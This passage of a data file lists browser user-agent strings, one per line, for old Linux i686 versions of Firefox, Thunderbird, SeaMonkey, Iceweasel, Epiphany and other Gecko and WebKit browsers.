Ubuntu/9.10 (karmic) Shiretoko/3.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090704 Iceweasel/3.5 (Debian-3.5-0)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.10) Gecko/20100527 Lightning/1.0b1 Thunderbird/3.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.10) Gecko/20100527 Thunderbird/3.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.11) Gecko/20100701 SeaMonkey/2.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.11) Gecko/20100713 Lightning/1.0b1 Thunderbird/3.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.11) Gecko/20100722 SeaMonkey/2.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.12) Gecko/20100826 Lightning/1.0b1 Thunderbird/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.12) Gecko/20100915 Lightning/1.0b1 Thunderbird/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.14) Gecko/20101006 Lightning/1.0b1 Thunderbird/3.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.15) Gecko/20101027 Lightning/1.0b1 Thunderbird/3.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.15) Gecko/20101027 Lightning/1.0b1 Thunderbird/3.0.10 ThunderBrowse/3.3.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20101123 SeaMonkey/2.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Firefox/11.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120921 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.17) Gecko/20110303 SeaMonkey/2.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.17) Gecko/20110309 Lightning/1.0b2pre SeaMonkey/2.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.19) Gecko/20110429 Gentoo/2.0.14 SeaMonkey/2.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.19) Gecko/20110518 SeaMonkey/2.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Slackware/13.0 Firefox/3.5.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2 FirePHP/0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2pre) Gecko/20090729 Ubuntu/9.04 (jaunty) Firefox/3.5.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090912 Gentoo Firefox/3.5.3 FirePHP/0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090919 Firefox/3.5.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3pre) Gecko/20090730 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3pre) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.3pre (.NET CLR 3.5.30729)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4) Gecko/20091028 Ubuntu/9.10 (karmic) Firefox/3.5.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4pre) Gecko/20090921 Ubuntu/8.10 (intrepid) Shiretoko/3.5.4pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4pre) Gecko/20090921 Ubuntu/9.04 (jaunty) Shiretoko/3.5.4pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20100309 Ubuntu/9.04 (jaunty) Shiretoko/3.5.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.6) Gecko/20100118 Gentoo Firefox/3.5.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100315 Ubuntu/9.10 (karmic) Firefox/3.5.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 GTB7.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100423 Thunderbird/3.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100501 Iceweasel/3.5.6 (like Firefox/3.5.6; Debian-3.5.6-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100501 Iceweasel/3.5.8 (like Firefox/3.5.8)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b1pre) Gecko/20080916020338 Minefield/3.1b1pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b1pre) Gecko/20080926001251 SeaMonkey/2.0a2pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b1pre) Gecko/20080930020755 Minefield/3.1b1pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b2) Gecko/20090128 Fedora/3.1-0.4.beta2.fc11 Minefield/3.1b2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3) Gecko/20090407 Firefox/3.1b3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3pre) Gecko/20081203 Shiretoko/3.1b3pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3pre) Gecko/20090105 Shiretoko/3.1b3pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3pre) Gecko/20090106 Fennec/1.0a2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3pre) Gecko/20090106 Shiretoko/3.1b3pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3pre) Gecko/20090207 Ubuntu/9.04 (jaunty) IceWeasel/3.1b3pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b4pre) Gecko/20090311 Ubuntu/9.04 (jaunty) Shiretoko/3.1b4pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b4pre) Gecko/20090401 Fennec/1.0a2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b4pre) Gecko/20090405 SeaMonkey/2.0b1pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b4pre) Gecko/20090405 Shiretoko/3.5b4pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 FirePHP/0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Ubuntu/10.04 (lucid) Firefox/3.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100128 Gentoo Firefox/3.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100206 Namoroka/3.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.1) Gecko/20100122 firefox/3.6.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10pre) Gecko/20100902 Ubuntu/9.10 (karmic) Firefox/3.6.1pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101006 Thunderbird/3.1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Lightning/1.0b2 Thunderbird/3.1.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Thunderbird/3.1.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101114 Gentoo Firefox/3.6.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12pre) Gecko/20101010 Ubuntu/10.04 (lucid) Namoroka/3.6.12pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101206 Prism/1.0b3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101208 Lightning/1.0b2 Thunderbird/3.1.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110223 Lightning/1.0b2 Thunderbird/3.1.8 ThunderBrowse/3.3.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14pre) Gecko/20110105 Firefox/3.6.14pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.15) Gecko/20110303 Ubuntu/10.04 (lucid) Firefox/3.6.15 FirePHP/0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.15) Gecko/20110419 Lightning/1.0b2 Thunderbird/3.1.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16) Gecko/20110323 Ubuntu/9.10 (karmic) Firefox/3.6.16 FirePHP/0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16pre) Gecko/20110304 Ubuntu/10.10 (maverick) Firefox/3.6.15pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17) Gecko/20110424 Lightning/1.0b2 Thunderbird/3.1.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17) Gecko/20110424 Thunderbird/3.1.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17) Gecko/20110516 Lightning/1.0b2 Thunderbird/3.1.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17pre) Gecko/20110322 Ubuntu/10.10 (maverick) Namoroka/3.6.17pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17pre) Gecko/20110401 Ubuntu/10.04 (lucid) Namoroka/3.6.17Pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18) Gecko/20110617 Lightning/1.0b2 Thunderbird/3.1.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18) Gecko/20110617 Thunderbird/3.1.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.10 (maverick) Namoroka/3.6.18pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/9.10 (karmic) Namoroka/3.6.18pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18pre) Gecko/20110509 Ubuntu/10.10 (maverick) Namoroka/3.6.18pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.20) Gecko/20110805 Lightning/1.0b2 Thunderbird/3.1.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.20) Gecko/20110805 Thunderbird/3.1.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.23) Gecko/20110922 Lightning/1.0b2 Thunderbird/3.1.15\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100129 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100310 Ubuntu/8.10 (intrepid) Namoroka/3.6.2pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100312 Ubuntu/9.04 (jaunty) Firefox/3.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100315 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100404 Ubuntu/10.04 (lucid) Firefox/3.6.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3pre) Gecko/20100316 Ubuntu/9.10 (karmic) Namoroka/3.6.3pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100625 Gentoo Firefox/3.6.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.7) Gecko/20100726 CentOS/3.6-3.el5.centos Firefox/3.6.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100727 Firefox/3.6.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.9) Gecko/20100827 Red Hat/3.6.9-2.el6 Firefox/3.6.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.9) Gecko/20100922 Thunderbird/3.1.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a1pre) Gecko/20081222 Fennec/1.0a2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a1pre) Gecko/20090102 Ubuntu/9.04 (jaunty) Minefield/3.2a1pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a1pre) Gecko/20090327 Minefield/3.6a1pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a1pre) Gecko/20090403 Minefield/3.6a1pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a2pre) Gecko/20090825 Namoroka/3.6a2pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a2pre) Gecko/20090906 Ubuntu/9.04 (jaunty) Namoroka/3.6a2pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a2pre) Gecko/20090921 Ubuntu/9.04 (jaunty) Namoroka/3.6a2pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.3a1pre) Gecko/20091022 Minefield/3.7a1pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.3a4pre) Gecko/20100404 SeaMonkey/2.1a1pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.3a5pre) Gecko/20100527 Minefield/3.7a5pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20051215 Firefox/1.6a1 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060117 Firefox/1.6a1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060217 Firefox/1.6a1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060609 Minefield/3.0a1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/3.0a1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060819 Minefield/3.0a1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20061016 Minefield/3.0a1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20061111 Minefield/3.0a1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20070308 Minefield/3.0a1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a2) Gecko/20070221 Minefield/3.0a2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3) Gecko/20070322 GranParadiso/3.0a3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3) Gecko/20070328 Minefield/3.0a3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070301 Minefield/3.0a3pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a4) Gecko/20070427 GranParadiso/3.0a4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a5) Gecko/20070605 GranParadiso/3.0a5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a8pre) Gecko/2007092004 Minefield/3.0a8pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2) Gecko/2008011913 Minefield/3.0b2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2pre) Gecko/2007112704 Minefield/3.0b2pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008020513 Firefox/3.0b3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008021322 Minefield/3.0b3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008021416 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008010404 Minefield/3.0b3pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008010415 Firefox/3.0b\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008020507 Firefox/3.0b3pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4) Gecko/2008031317 Firefox/3.0b4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021712 Firefox/3.0b4pre (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021714 Firefox/3.0b4pre (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008022304 Minefield/3.0b4pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) Gecko/2008042623 Iceweasel/3.0b5 (Debian-3.0~b5-3)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008032621 Fedora/3.0-0.49.cvs20080326.fc9 Minefield/3.0pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008040318 Firefox/3.0pre (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008051917 Firefox/3.0pre Flock/2.0a1pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008061501 SeaMonkey/2.0a1pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008061504 Minefield/3.0pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:2.0.0.3) Gecko/20070527 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:2.0a1pre) Gecko/2008060602 Minefield/4.0a1pre\nMozilla/5.0 (X11; U; Linux i686; en-ZW; rv:1.8.0.7) Gecko/20061018 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-ca) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; en-gb) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) epiphany-webkit\nMozilla/5.0 (X11; U; Linux i686; en-gb) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.0.5603M\nMozilla/5.0 (X11; U; Linux i686; en-ie) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/146.1 (KHTML, like Gecko) osb-browser/0.5\nMozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5  (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher\nMozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori\nMozilla/5.0 (X11; U; Linux i686; en-us; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.0.7) Gecko/20060928 Epiphany/2.14 (Ubuntu)\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.1) Gecko/20070117 Epiphany/2.16 BonEcho/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.10) Gecko/20071213 Epiphany/2.20 Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.11) Gecko/20071216 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.12) Gecko/20080208 (Debian-1.8.1.12-2) Epiphany/2.20\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.12) Gecko/20080208 (Debian-1.8.1.12-5) Epiphany/2.20\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.14) Gecko/20080416 Fedora/2.18.3-9.fc7 Epiphany/2.18 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.14) Gecko/20080418 Epiphany/2.20 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.17) Gecko/20080703 Epiphany/2.22 Firefox/2.0.0.17\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.17) Gecko/20080927 Epiphany/2.20 Firefox/2.0.0.17 (Dropline GNOME)\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.19) Gecko/20081216 Epiphany/2.20 Firefox/2.0.0.19\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.3) Gecko/20061201 Epiphany/2.18 Firefox/2.0.0.3 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.3) Gecko/20070322 Epiphany/2.18\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.3) Gecko/20070403 Epiphany/2.16 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.3) Gecko/20080629 Epiphany/2.22 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.4) Gecko/20070508 (Debian-1.8.1.4-1) Epiphany/2.18\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.5) Gecko/20070712 (Debian-1.8.1.5-1) Epiphany/2.18\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9) Gecko/20080528 (Gentoo) Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9) Gecko/2008061015 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9) Gecko/2008062113 Iceweasel/3.0\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.12) Gecko/20080528 Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.14) Gecko/20080528 Epiphany/2.22 (Debian/2.26.3-2)\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.15) Gecko/20080528 Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.4) Gecko/20080528 Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.5) Gecko/20080528 Fedora/2.24.1-3.fc10 Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.6) Gecko/20080528\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.7) Gecko/20080528 Epiphany/2.22\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.8) Gecko/20080528 Epiphany/2.22 (Debian/2.24.3-2)\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.8) Gecko/20080528 Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.9) Gecko/20080528 Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9a4) Gecko/20070427 GranParadiso/3.0a4\nMozilla/5.0 (X11; U; Linux i686; en; rv:1.9b3) Gecko Epiphany/2.20\nMozilla/5.0 (X11; U; Linux i686; en_GB; rv:1.8.1.4) Gecko/20070530 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en_GB; rv:1.9.0.1) Gecko/20080528 Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en_US; rv:1.8.1b1) Gecko/20060813 Firefox/2.0b1\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.4) Gecko/20070508 Iceweasel/2.0.0.4 (Debian-2.0.0.4-0etch1)\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070723 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070803 Firefox/2.0.0.6 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Linux Mint/5 (Elyssa) Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.7) Gecko/2009032803 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.1.8) Gecko/20100214 